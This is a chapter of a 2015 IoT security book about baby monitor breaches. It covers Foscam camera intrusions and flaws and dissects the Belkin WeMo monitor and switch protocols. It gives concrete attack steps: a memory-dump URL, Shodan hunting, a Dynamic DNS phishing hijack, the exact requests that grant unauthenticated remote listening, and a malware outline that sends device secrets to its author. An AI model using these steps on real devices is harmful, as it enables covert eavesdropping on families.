Abusing the Internet of Things (2015)
Chapter 3. Assaulting the Radio Nurse: Breaching Baby Monitors and One Other Thing
The license plate 4U-13-41-N.Y belonged to a blue Dodge sedan owned by a gentleman by the name of Richard Hauptmann. Hauptmann was accused and later executed for kidnapping and murdering 20-month-old Charles Augustus Lindbergh, Jr., the son of well-known aviator Charles Lindbergh and Anne Morrow Lindbergh.
On the evening of March 1, 1932, the toddler was abducted from his family home in East Amwell, New Jersey. His body was discovered two months later. The cause of death was a massive skull fracture. The investigation spanned two years. 250,000 copies of serial numbers associated with ransom bills were sent to businesses across New York City. Hauptmann was finally caught by a bank teller who recognized one of the bills that had the license plate number scribbled in the margin of the note. Apparently, a gas station manager had scribbled it in because he felt the customer issuing the bill was acting suspicious and suspected him to be a counterfeiter.
The Lindbergh kidnapping was well publicized and the conclusion wasn’t without controversy. One of the outcomes after the case was the first baby monitor, called the “Radio Nurse,” created by the company Zenith. The company’s president, Eugene F. McDonald Jr., felt compelled to produce a solution that would reduce cases like that of Lindbergh and asked the engineers at Zenith to come up with a product. They ended up designing a system that included the “Guardian Ear” transmitter, which was to be placed near by the child’s crib, and a receiver device called the “Radio Nurse,” to be placed in a location near the parents or guardians.
The idea of a baby monitor seems so natural that, if it weren’t for the inspiration from the Lindbergh case, someone else surely would have designed it later. Nonetheless, the important point here is that baby monitors fulfill a critical need: the increased ability for parents to keep a watch on their loved ones from a distance. In essence, baby monitors can be considered potential life-saving devices.
Given the fact that baby monitors are relied upon immensely by parents and guardians, it becomes important to consider the security of these devices, to make sure they don’t contain flaws that can lead to security or privacy implications. Traditional baby monitors relied upon radio waves that limited their range, but the current generation of devices, such as the Foscam baby monitors and the Belkin WeMo baby monitor, are IoT based. These devices connect to a WiFi network and allow the guardians to listen in from anywhere in the world. In this chapter, we will take a look at certain security and privacy issues pertaining to such devices, to expose the risks associated current generation baby monitors. This will help determine ways to limit attack vectors in current and future generation products.
We will also take a look at another product designed by Belkin: the WeMo Switch, which can be used to remotely turn power on or off in a connected appliance. The intention here is to study similarities and differences in design from a security perspective when the same company designs the products. Given cultural synergies and discord between corporate structures aligned under the same corporation, similar security issues tend to exist in different products.
The Foscam Incident
Anyone with a cordless phone, most popular in the ’80s and ’90s, can speak about interference with other cordless phones. Many people have experienced the situation in which their cordless phones pick up signals from their neighbor’s cordless phone. This is because the earlier types of cordless phones operated on fixed radio frequencies. Initially, the bet was that neighbors were unlikely to own similar cordless phones. Later on, the Digital Spread Spectrum was introduced to allow the information to be spread over different frequencies, making it hard for others to pick up on conversations.
Most traditional baby monitors operated on analog frequencies, making it easy for anyone with a radio scanner to tune in. When it comes to baby monitors, eavesdropping is perhaps the biggest concern. Initially, not many individuals were aware that purchasing a simple radio scanner would allow anyone to listen in. However, the traditional baby monitors required the eavesdropper to be within the vicinity of the home, which lowered the willingness of a potential intruder to make the trek to listen in, thereby lowering the probability of a privacy violation.
Fast-forward to today, when many popular baby monitors don’t use radio frequencies. They rely on WiFi networks, allowing the owners to listen in remotely from anywhere in the world. This tremendously increases the probability of a security defect being exploited. Given that the device is connected to the Internet, anyone in the world with access to a computer can potentially launch a targeted eavesdropping attack. In the next few paragraphs, we will discuss a specific incident in which such an attack occured. We will also pick upon the Belkin WeMo baby monitor to dissect its technical design and discuss security improvements.
In August 2013, Mark Gilbert was busy doing dishes in his home when he suddenly heard noises coming from his daughter Allyson’s bedroom while she was sleeping. As Mark and his wife approached Allyson’s room, they heard a stranger shouting expletives at them, calling Mark a “stupid moron” and his wife a “bitch.” Mark noticed the baby monitor, equipped with a video camera, swivel toward him and his wife. At this point, realizing that an intruder had compromised the device, he quickly disconnected it.
Take a moment to consider how severely unnerving this incident was to the Gilbert family. Imagine how invasive it must feel to be winding up the day in a quiet neighborhood and have a complete stranger’s voice shout obscenities out of nowhere in the supposed privacy of your own home. Imagine the shock of having this originate from the bedroom of an infant.
At first glance, one might assume that Mark Gilbert chose a weak password for his WiFi network, and perhaps the intruder within range of his home guessed it. Or perhaps Mark never changed the default credentials (username: “admin”, password: [blank]), allowing the intruder easy access to the device. However, according to Mark, he had indeed changed the default credentials and secured his WiFi with a strong password.
Foscam Vulnerabilities Exposed by Researchers
A few weeks after the Gilbert incident, security researchers realized that the device in question was manufactured by the company Foscam, against which security researchers had exposed vulnerabilities at the Hack in the Box conference just months earlier. Figure 3-1 shows one of the vulnerable Foscam devices in question.
Figure 3-1. Foscam baby monitor
According to the researchers, once an attacker knows the IP address of the baby monitor, he or she can simply browse to the following URL to download the entire memory of the device:
http://[IP Address]/proc/kcore
Once the attacker has access to the kcore file, he or she can simply open it in a hex editor to obtain the username and password. Armed with these credentials, the attacker can control the camera. It is quite probable that the intruder in question abused this vulnerability.
Using Shodan to Find Baby Monitors Exposed on the Internet
The question at hand is how a potential intruder can locate a specific baby monitor that is exposed on the Internet? After all, there are probably billions of devices on the Internet and growing. The search engine Shodan can be used to easily locate all sorts of devices connected to the Internet. Shown in Figure 3-2, Shodan lets you find routers, servers, and all sorts of devices connected to the Internet using a variety of filters. Shodan continuously locates and queries devices all over the Internet to index the services running on them.
Figure 3-2. The Shodan search engine
According to research published in a paper titled Exploiting Foscam IP Cameras, the web server running on Foscam devices return the value Netwave IP Camera (later versions of Foscam devices and firmware have the value Boa/0.94.13) in the Server field as part of the HTTP response. Using this information, it is easy to query Shodan to find the IP address of Foscam devices, as shown in Figure 3-3.
Figure 3-3. Shodan query to locate Foscam devices on the Internet
As you can see from the Shodan query in Figure 3-3, about 700,000 IP addresses were instantly found to respond to our query. This demonstrates how easy it is for a potential attacker to locate vulnerable devices such as the Foscam monitor and exploit known vulnerabilities.
Exploiting Default Credentials
Foscam devices were known to be assigned the default username of “admin” and a blank password, which most users are likely to leave as is (unless the setup process demands the selection of a stronger password, which wasn’t the case in the vulnerable version of Foscam devices). A simple Shodan query illustrates the sheer magnitude of the number of individuals and organizations who are unaware that their privacy can be so easily violated.
In August 2013, Foscam released an upgrade that prompted users to change the default blank password and gave them the ability to choose a username other than “admin”. However, as shown in Figure 3-4, users have to manually locate the software update and then apply it using the web interface. It is easy to imagine that most owners of Foscam weren’t aware of the availability of the security update.
Figure 3-4. Foscam releases a firmware update that requires manual processes
In the age where users are accustomed to mobile and desktop devices that implement auto-update features, it is also easy to imagine that people who were made aware of the update were unlikely to apply it, given the traditional process of downloading a file to manually upgrade their device. This was confirmed in the previously referenced “Exploiting Foscam IP Cameras” research paper, in which the researchers concluded, “We found exactly zero cameras in the wild which run the latest firmware offered by Foscam. This could indicate end users who know to patch also know better than to hook up an IP camera to the Internet, or it could indicate that no one patches their cameras.”
Exploiting Dynamic DNS
In addition to the issues around weak credentials, the “Exploiting Foscam IP Cameras” whitepaper also calls out a vulnerability in the Foscam devices relating to the included Dynamic DNS feature. Every Foscam device includes a unique six-character hostname (in the form of xx####, where x is a letter and \# is a digit) that is printed on a label and fixed to the camera. This static value is also flashed into the device’s memory and is used as both the username and password for the Dynamic DNS feature.
This feature essentially allows every camera to update its IP address to point to a hostname of xx####.myfoscam.org (valid combination of hostnames were found to be between aa0000 and ep9310). This allows the user to log into their camera using a web browser on a device outside of their home without having to remember their numeric IP address. All the user has to do is remember the hostname associated with the myfoscam.org Dynamic DNS service.
The Foscam devices use the User Datagram Protocol (UDP) to update their hostname mapping by sending a UDP packet to a server owned by Foscam. The UDP packet contains the username and password associated with the device, which is essentially the hostname, whose ranges are known to be between aa0000 and ep9310. The “Exploiting Foscam IP Cameras” paper illustrates how an attacker can be abuse this knowledge to invoke phishing attacks:
1. The attacker queries ns1.myfoscam.org to get and store the current IP address of a particular device within the range of aa0000 and ep9310. For the sake of our argument, assume the target is aa0000.
2. The attacker sends a UDP datagram to Foscam with username and password of aa0000.
3. The Foscam service updates its Dynamic DNS records to point aa0000 to the source IP address of the attacker.
4. The attacker runs a web server on his or her IP address that looks indentical to that of the Foscam interface.
5. The attacker waits for the owner of the device to browse to aa0000.myfoscam.org, which will now connect to the attacker’s web interface rather than the interface for the actual device owned by the victim.
6. The victim will supply his or her credentials, which the attacker captures.
7. The attacker will then display a “Invalid username or password” message, causing the victim to assume they mistyped the credentials.
8. At this point, the attacker can send a spoofed UDP datagram to the Foscam Dynamic DNS service with the original IP address of the attacker (captured in step 1). Now, when the victim visits aa0000.myfoscam.org again, he or she will be directed to his or her actual Foscam device instead of the attacker’s web server. In this way, the attacker will retain the victim’s credential and the victim will have little reason to suspect his or her credentials have been compromised. The attacker can now connect to the victim’s device directly and reuse the captured credentials to login and control the device.
In the case of Mark Gilbert, it is unclear exactly what method the attackers may have used. However, it is a reasonable hypothesis to expect that the attacker leveraged a combination of the attack techniques and vulnerabilities discussed so far.
The Foscam Saga Continues
The Gilbert incident occurred in August 2013. In April 2014, another such incident occurred in the home of Heather Schreck. Around midnight, Heather was startled by a man’s voice in her daughter Emma’s bedroom. Heather noticed the baby monitor camera move and heard the voice, saying “Wake up, baby, wake up, baby,” emit from the device. Heather’s husband Adam ran into Emma’s room, saw the camera turn toward him, and heard obscenities targeted at him. Adam then unplugged the camera. Yes, this was also a Foscam camera.
This is yet another example of how vulnerabilities in IoT devices such as baby monitors can persist, specially if the device manufacturer does not implement a seamless method to push security patches to devices. As discussed earlier, the manual labor required to update Foscam devices pretty much guarantees most people are unlikely to take the effort to find and apply security patches. Given the hundreds of thousands of Foscam devices that can be found with a simple Shodan query, incidents such as those targeting the Gilbert and Schreck families are likely to reoccur.
In January 2014, just a little before the Schreck incident, a user publicly posted a severe authentication bypass vulnerability on Foscam’s public discussion forum (shown in Figure 3-5).
Figure 3-5. Authentication bypass vulnerability posted on Foscam’s discussion forum
According to the forum post, it is possible to completely bypass authentication by using both the username and password fields blank. In response, Foscam released a patch that resolved the issue, but the manual steps outlined to apply the patch were the same as those shown in Figure 3-4. Yet again, such a cumbersome and manual process makes it extremely unlikely that Foscam devices accessible on the Internet have this patch applied.
It is unknown exactly which one of the Foscam attacks were exploited in the Gilbert and Schreck incidents, but this authentication bypass issue is one of the easiest to abuse, so it is quite likely that it has been leveraged to invade the privacy of Foscam users, given the number of devices that can be queried using Shodan.
The Belkin WeMo Baby Monitor
The WeMo baby monitor (Figure 3-6) can be accessed using a companion iOS app. Unlike radio-based monitors, the user of the iOS app can tune from anywhere in the world with access to the Internet. IoT products by Belkin have been particularly popular, so our emphasis on this product is warranted. In this section, we will take a look at how the device authenticates connections, to understand what security mechanisms are built in.
Figure 3-6. The Belkin WeMo baby monitor
In order to connect an iOS device to the WeMo, the user must first download the WeMo Baby app and launch it as illustrated in Figure 3-7.
Figure 3-7. The WeMo Baby iOS app
NOTE
The WeMo baby monitor has been discontinued by the manufacturer and is no longer availalble for sale. However, the design and architecure of the product is different than the Foscam devices we have been discussing thus far. As such, it is a good candidate for us to study to uncover security issues.
Once the user launches the iOS app while on the local WiFi network, the app attempts to locate the baby monitor using the Simple Service Discovery Protocol (SSDP), which is the discovery component of the Universal Plug and Play protocol. In order to find the baby monitor, the iOS app sends the following UDP packet destined to the multicast address of 239.255.255.250 (common multicast address to detect devices such as the WeMo monitor) on port 1900:
M-SEARCH * HTTP/1.1
ST: upnp:rootdevice
MX: 3
MAN: "ssdp:discover"
HOST: 239.255.255.250:1900
Since this is a multicast packet, it is broadcasted to the local network. However, only devices (such as the WeMo monitor) that are actively listening for SSDP packets process the discovery request. In this case, the WeMo monitor responds with the following UDP packet to the iOS app:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=86400
EXT:
LOCATION: http://10.0.1.2:49153/setup.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP devices/1.6.18
X-User-Agent: redsonic
ST: upnp:rootdevice
USN: uuid:wemo_baby-1_0-[serialNumber DELETED]::upnp:rootdevice
Based on the response, the iOS app captures the IP address of the baby monitor (10.0.1.2) and the destination port (49153), along with the target resource to request to set up initial access (i.e., /setup.xml). Note that the response from the monitor also includes the value for the serialNumber that is printed on the bottom of the physical WeMo device.
The iOS app then submits the following GET request to the baby monitor (at IP address 10.0.1.2 and TCP port 49153):
GET /setup.xml HTTP/1.1
Content-Length: 0
HOST: 10.0.1.2:49153
User-Agent: CyberGarage-HTTP/1.0
To which the WeMo monitor responds:
<root xmlns="urn:Belkin:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:Belkin:device:wemo_baby:1</deviceType>
<friendlyName>WeMo Baby</friendlyName>
<manufacturer>Belkin International Inc.</manufacturer>
<manufacturerURL>http://www.belkin.com</manufacturerURL>
<modelDescription>Belkin Plugin Socket 1.0</modelDescription>
<modelName>Socket</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.belkin.com/plugin/</modelURL>
<serialNumber>[DELETED]</serialNumber>
<UDN>uuid:wemo_baby-1_0</UDN>
<UPC>123456789</UPC>
<macAddress>[DELETED]</macAddress>
<firmwareVersion>WeMo_WW_2.00.2397.PVT_Baby</firmwareVersion>
<iconVersion>0|49153</iconVersion>
<binaryState>0</binaryState>
<iconList>
<icon>
<mimetype>jpg</mimetype>
<width>100</width>
<height>100</height>
<depth>100</depth>
<url>icon.jpg</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:Belkin:service:WiFiSetup:1</serviceType>
<serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId>
<controlURL>/upnp/control/WiFiSetup1</controlURL>
<eventSubURL>/upnp/event/WiFiSetup1</eventSubURL>
<SCPDURL>/setupservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:timesync:1</serviceType>
<serviceId>urn:Belkin:serviceId:timesync1</serviceId>
<controlURL>/upnp/control/timesync1</controlURL>
<eventSubURL>/upnp/event/timesync1</eventSubURL>
<SCPDURL>/timesyncservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:basicevent:1</serviceType>
<serviceId>urn:Belkin:serviceId:basicevent1</serviceId>
<controlURL>/upnp/control/basicevent1</controlURL>
<eventSubURL>/upnp/event/basicevent1</eventSubURL>
<SCPDURL>/eventservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:firmwareupdate:1</serviceType>
<serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId>
<controlURL>/upnp/control/firmwareupdate1</controlURL>
<eventSubURL>/upnp/event/firmwareupdate1</eventSubURL>
<SCPDURL>/firmwareupdate.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:rules:1</serviceType>
<serviceId>urn:Belkin:serviceId:rules1</serviceId>
<controlURL>/upnp/control/rules1</controlURL>
<eventSubURL>/upnp/event/rules1</eventSubURL>
<SCPDURL>/rulesservice.xml</SCPDURL>
</service>
.
<service>
<serviceType>urn:Belkin:service:metainfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:metainfo1</serviceId>
<controlURL>/upnp/control/metainfo1</controlURL>
<eventSubURL>/upnp/event/metainfo1</eventSubURL>
<SCPDURL>/metainfoservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:remoteaccess:1</serviceType>
<serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId>
<controlURL>/upnp/control/remoteaccess1</controlURL>
<eventSubURL>/upnp/event/remoteaccess1</eventSubURL>
<SCPDURL>/remoteaccess.xml</SCPDURL>
</service>
.
</serviceList>
<presentationURL>/pluginpres.html</presentationURL>
</device>
</root>
Note that the WeMo device returns the value for the serialNumber again, which is the same as in the response to the SSDP query. The response also includes various additional services, the most interesting of which is /upnp/control/remoteaccess1 service. The iOS app sends the following POST request to this service to obtain authorization to connect to the WeMo and listen into the audio:
POST /upnp/control/remoteaccess1 HTTP/1.1
Content-Type: text/xml; charset="utf-8"
SOAPACTION: "urn:Belkin:service:remoteaccess:1#RemoteAccess"
Content-Length: 589
HOST: 10.0.1.2:49153
User-Agent: CyberGarage-HTTP/1.0
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:RemoteAccess xmlns:u="urn:Belkin:service:remoteaccess:1">
<DeviceId>[DELETED]</DeviceId>
<dst>0</dst>
<HomeId></HomeId>
<DeviceName>iPad 4G</DeviceName>
<MacAddr></MacAddr>
<smartUniqueId></smartUniqueId>
<numSmartDev></numSmartDev>
</u:RemoteAccess>
</s:Body>
</s:Envelope>
Notice the DeviceId field, which is a random token created by the iOS App. Here is the response from the WeMo device:
HTTP/1.1 200 OK
CONTENT-LENGTH: 631
CONTENT-TYPE: text/xml; charset="utf-8"
EXT:
SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP devices/1.6.18
X-User-Agent: redsonic
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:RemoteAccessResponse xmlns:u="urn:Belkin:service:remoteaccess:1">
<homeId>610337</homeId>
<resultCode>PLGN_200</resultCode>
<description>Successful</description>
<statusCode>S</statusCode>
<smartUniqueId>[DELETED]</smartUniqueId>
<numSmartDev>3</numSmartDev>
</u:RemoteAccessResponse>
</s:Body> </s:Envelope>
The DeviceId token issued by the iOS app is now authorized. Note that the value of the smartUniqueId field returned by WeMo is the same value of DeviceId issued by the iOS app in the initial request. This value, along with the serialNumber value obtained earlier, are the only two tokens required to connect to the baby monitor from the Internet and listen in.
The iOS app and the WeMo device use the Session Initiation Protocol (SIP) to connect to each other, allowing the iOS app to listen in to the audio. This makes sense, given that SIP is a common protocol used to make audio calls over the Internet. To make the connection, the iOS app invokes the INVITE action to initiate the call:
SIP/2.0 100 Trying
Via: SIP/2.0/TCP 10.0.0.2:59662;rport=4096;received=10.0.0.115;
Record-Route: <sip:k2.k.belkin.evodevices.com:6060;transport=tcp;lr;
did=f9e.f801;nat=yes>
From: <sip:[DELETED but same as smartUniqueId and DeviceID]@
bedev.evomonitors.com>;
To: <sip:[DELETED but same as serialNumber]@bedev.evomonitors.com>
CSeq: 5874 INVITE
Content-Length: 0
Note that the IP address the iOS app connects to is k2.k.belkin.evodevices.com, which is accessible from the Internet. This means that the iOS app user can be anywhere in the world with access to the Internet, as long as k2.k.belkin.evodevices.com is reachable (the user needs only one-time access to same local network as the the WeMo monitor to directly connect to the device and obtain authorization using the /upnp/control/remoteaccess1 service described earlier). Furthermore, the iOS app needs only the serialNumber and the smartUniqueID value (same as the DeviceId value). In this case, the SIP server on k2.k.belkin.evodevices.com responds with the following:
SIP/2.0 200 OK
Via: SIP/2.0/TCP 10.0.0.2:59662;rport=4096;received=10.0.0.115;
Record-Route: <sip:k2.k.belkin.evodevices.com:6060;transport=tcp;lr;
did=f9e.f801;nat=yes>
From: <sip: [DELETED but same as smartUniqueId and DeviceID]@
bedev.evomonitors.com>;
To: <sip:[DELETED but same as serialNumber]@bedev.evomonitors.com>;
CSeq: 5874 INVITE
Contact: <sip: [DELETED but same as serialNumber]@10.0.0.115:3925;
transport=tcp;ob>;+sip.ice
Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, SUBSCRIBE, NOTIFY, REFER,
MESSAGE, OPTIONS
Supported: replaces, 100rel, timer, norefersub
Session-Expires: 91;refresher=uac
Content-Type: application/sdp
Content-Length: 368
v=0
o=- 3589015852 3589015853 IN IP4 10.0.1.2
s=pjmedia
c=IN IP4 10.0.1.2
b=AS:84
t=0 0
a=X-nat:0
m=audio 3106 RTP/AVP 3 96
c=IN IP4 10.0.1.2
b=TIAS:64000
b=RS:0
b=RR:0
a=sendrecv
a=rtpmap:3 GSM/8000
a=rtpmap:96 telephone-event/8000
a=fmtp:96 0-15
a=candidate:Ha000102 1 UDP 2130706431 10.0.1.2 3106 typ host
At this point, the connection is now established and the iOS app is able to listen to the audio transmitted by the WeMo baby monitor.
Bad Security by Design
As we’ve seen, the iOS app needs only one-time access to the same local network as the baby monitor to invoke the /upnp/control/remoteaccess1 service. Once this is done, the iOS app can listen in to the baby monitor from anywhere in the world by contacting the k2.k.belkin.evodevices.com server using SIP. The obvious issue here is that a user with one-time access to the local WiFi network can register themselves without authentication and authorization. They can also continue to access the baby monitor remotely until a local user specifically deletes the device from the Access list (using the iOS app while on the local WiFi). See this YouTube video for a demonstration of this in action.
A realistic situation in which this vulnerability could become a problem would be a visitor to someone’s home requesting temporary access to a personal WiFi network. If this individual were to access the WeMo Baby app, he or she could then continue to listen in to the baby monitor remotely. On this note, Lon J. Seidman’s Amazon review of the WeMo baby monitor specifically states his concern over this design issue:
…But that’s not the only issue plaguing this device. The other is a very poor security model that leaves the WeMo open to unwelcome monitoring. The WeMo allows any iOS device on your network to connect to it and listen in without a password. If that’s not bad enough, when an iPhone has connected once on the local network it can later tune into the monitor from anywhere in the world. Belkin assumes that your access point is secured and that the only people accessing it are people you know. This is especially troublesome for people who don’t secure their access points or are using weak security that’s vulnerable to cracking._
Belkin seems to acknowledge this vulnerability in the software, showing which devices can connect to the WeMo and whether or not to allow global snooping. Unfortunately WeMo gives full access to every device right out of the gate, requiring you to continually monitor it to ensure that an unauthorized listener hasn’t connected to it.
The bottom line? It’s not reliable enough to make it an effective monitor for my child, nor is it secure enough to give me the confidence that others can’t snoop in. For those reasons I simply can’t recommend this product.
In response to Seidman’s review, Belkin issued this comment:
Hello Lon,
Thanks for taking the time to review the WeMo Audio Baby monitor. We appreciate your security concerns and would like to respond to the issues you raise. For homes that use a password for their WiFi, our product is as secure as any item on that network. For someone to get access to the baby monitor a person would need to discover that password. For homes without a password we recommend they implement one for the general security of everything they do on their home network. We are adding this recommendation to our Frequently Asked Questions.
As you correctly identified, families are able to give access to others by sharing their WiFi password with trusted friends or family members. We believe this is a positive feature of the system and expect people will treat the sharing of this password with care as it gives access to their home network. However for those who are concerned, when logged onto the baby monitor, it’s possible to disable the remote access of others if uncomfortable with having others listening.
If you have any other feedback you would like to share with us we are always happy to hear it. Please write us at customercare@belkin.com.
Best Regards, Belkin Support
As we add additional IoT devices to our homes, the reliance on WiFi security becomes a hard sell. Given the impact to our physical privacy and safety, it’s difficult to stand by the argument that all bets are off once a single device (computer or IoT device) is compromised. Homes in developed countries are bound to have dozens of remotely controllable IoT devices. The single point of failure can’t be the WiFi password. What’s more, a compromised computer or device will already have access to the network, so a remote attacker does not need the WiFi password. This point takes us to the issue of malware, which is discussed in the next section.
Malware Gone Wild
It is not uncommon for workstations and laptops in homes to become infected with malware at some point. Given the prevalence of malware, operating systems are increasingly starting to be designed with firewalls turned on by default. The intention behind this notion is that devices on the same local network should not inherently trust that every other device is also secure.
Now consider the case of the WeMo baby monitor. Should any device on the local WiFi network be compromised, malware can easily obtain authorization on behalf of the malware author by following these simple steps:
1. Locate the WeMo baby monitor on the local network using SSDP.
2. Issue GET request to /setup.xml to obtain the serialNumber.
3. Issue POST request to /upnp/control/remoteaccess1 with self-chosen DeviceID.
4. Transmit the serialNumber and DeviceID to the malware author. As shown in the SIP requests discussed previously, this is the secret information needed to initiate a connection to the baby monitor and listen in.
We can expect malware authors to incorporate scanning of the local network for baby monitors. Once a device is located, such a scenario is easy to implement, given that all local devices can authorize themselves for remote access to the WeMo baby monitor. If the malware author is able to successfully compromise multiple workstations and laptops, he or she will have access to every WeMo baby monitor that is in the same home as that of the infected device.
Some Things Never Change: The WeMo Switch
In many corporations, secure design is either well established or a mere afterthought across their product lines. Usually, the culture of an organization is influenced by acknowledging the importance of security by the executive leadership, who are ultimately answerable to the board and to the shareholders. One clear example of this is the famous memo sent by Bill Gates to all Microsoft employees in 2002, in which he writes:
In the past, we’ve made our software and services more compelling for users by adding new features and functionality, and by making our platform richly extensible. We’ve done a terrific job at that, but all those great features won’t matter unless customers trust our software. So now, when we face a choice between adding features and resolving security issues, we need to choose security. Our products should emphasize security right out of the box, and we must constantly refine and improve that security as threats evolve.
Gates’s memo came at a time when known vulnerabilities in Microsoft’s software were being exploited by attackers all over the world. One prime example of this is the Nimda worm, which was released in 2001 and became the most widespread Internet worm. This worm was able to exploit multiple operating systems designed by Microsoft: Windows 95, 98, ME, NT, and 2000.
Ten years later, Microsoft executive Craig Mundie released a statement to all Microsoft employees reflecting on the Gates memo and the progress Microsoft has made:
Our internal and external work over the past ten years has unquestionably raised the bar in software quality, and demonstrated our commitment to building trustworthy products. In security, we are now widely recognized as a leader in secure development due to our rigorous implementation of the Security Development Lifecycle and our willingness to make it available to others. In privacy, we were the first company to publish privacy standards for developers and to provide consumers with layered privacy notices. In reliability, better instrumentation such as Windows error reporting enabled us to address system crashes, increasing productivity and alleviating user frustration.
Since we have studied the Belkin WeMo baby monitor in detail, let us look at another product (the WeMo switch), also designed by Belkin, to see if similar security issues exist across their product line. This will give us additional perspective to understand whether the issue of insecure design permeates across organizations within the company. Many of the existing and upcoming IoT corporations will have to maintain consistency with security across their products, so it is important to continuously analyze the security of multiple products produced by the same organization.
The Belkin WiFi-enabled WeMo Switch (shown in Figure 3-8) lets you turn electronic devices on or off from anywhere. The WeMo Switch uses the home WiFi network to provide wireless control of lamps, fans, heaters, and any electric device that is plugged into it. All you have to do is download the free WeMo app from the Google Play Store or the Apple App Store, plug the switch into an outlet in your home, and plug any device into the switch. Once this is done, you can use the WeMo App to turn the device on or off from anywhere.
Figure 3-8. The Belkin WeMo Switch
The WeMo app (Figure 3-9) is quite simple. All you have to do is launch the app and click on the power button associated with the switch to toggle the power on or off. This will cause the device connected to the switch to turn on or off.
Figure 3-9. The WeMo Switch app
To locate the Switch, the app broadcasts the following SSDP request:
M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:upnp:rootdevice
MX:2
MAN:"ssdp:discover"
The Switch then responds with the following payload:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=86400
DATE: Mon, 14 Oct 2013 10:48:31 GMT
LOCATION: http://10.0.1.8:49153/setup.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
ST: upnp:rootdevice
USN: uuid:Socket-1_0::upnp:rootdevice
This is exactly how the WeMo Baby app located the baby monitor. From our earlier discussion, the next course of action is for the app to obtain the contents of setup.xml from the web server running on the switch. Here are the contents of setup.xml:
<?xml version="1.0"?>
<root xmlns="urn:Belkin:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:Belkin:device:controllee:1</deviceType>
<friendlyName>WeMo Switch</friendlyName>
<manufacturer>Belkin International Inc.</manufacturer>
<manufacturerURL>http://www.belkin.com</manufacturerURL>
<modelDescription>Belkin Plugin Socket 1.0</modelDescription>
<modelName>Socket</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.belkin.com/plugin/</modelURL>
<serialNumber>[DELETED]</serialNumber>
<UPC>123456789</UPC>
<macAddress>[DELETED]</macAddress>
<firmwareVersion>WeMo_US_2.00.2769.PVT</firmwareVersion>
<iconVersion>0|49153</iconVersion>
<binaryState>0</binaryState>
<iconList>
<icon>
<mimetype>jpg</mimetype>
<width>100</width>
<height>100</height>
<depth>100</depth>
<url>icon.jpg</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:Belkin:service:WiFiSetup:1</serviceType>
<serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId>
<controlURL>/upnp/control/WiFiSetup1</controlURL>
<eventSubURL>/upnp/event/WiFiSetup1</eventSubURL>
<SCPDURL>/setupservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:timesync:1</serviceType>
<serviceId>urn:Belkin:serviceId:timesync1</serviceId>
<controlURL>/upnp/control/timesync1</controlURL>
<eventSubURL>/upnp/event/timesync1</eventSubURL>
<SCPDURL>/timesyncservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:basicevent:1</serviceType>
<serviceId>urn:Belkin:serviceId:basicevent1</serviceId>
<controlURL>/upnp/control/basicevent1</controlURL>
<eventSubURL>/upnp/event/basicevent1</eventSubURL>
<SCPDURL>/eventservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:firmwareupdate:1</serviceType>
<serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId>
<controlURL>/upnp/control/firmwareupdate1</controlURL>
<eventSubURL>/upnp/event/firmwareupdate1</eventSubURL>
<SCPDURL>/firmwareupdate.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:rules:1</serviceType>
<serviceId>urn:Belkin:serviceId:rules1</serviceId>
<controlURL>/upnp/control/rules1</controlURL>
<eventSubURL>/upnp/event/rules1</eventSubURL>
<SCPDURL>/rulesservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:metainfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:metainfo1</serviceId>
<controlURL>/upnp/control/metainfo1</controlURL>
<eventSubURL>/upnp/event/metainfo1</eventSubURL>
<SCPDURL>/metainfoservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:remoteaccess:1</serviceType>
<serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId>
<controlURL>/upnp/control/remoteaccess1</controlURL>
<eventSubURL>/upnp/event/remoteaccess1</eventSubURL>
<SCPDURL>/remoteaccess.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:deviceinfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:deviceinfo1</serviceId>
<controlURL>/upnp/control/deviceinfo1</controlURL>
<eventSubURL>/upnp/event/deviceinfo1</eventSubURL>
<SCPDURL>/deviceinfoservice.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>/pluginpres.html</presentationURL>
</device>
</root>
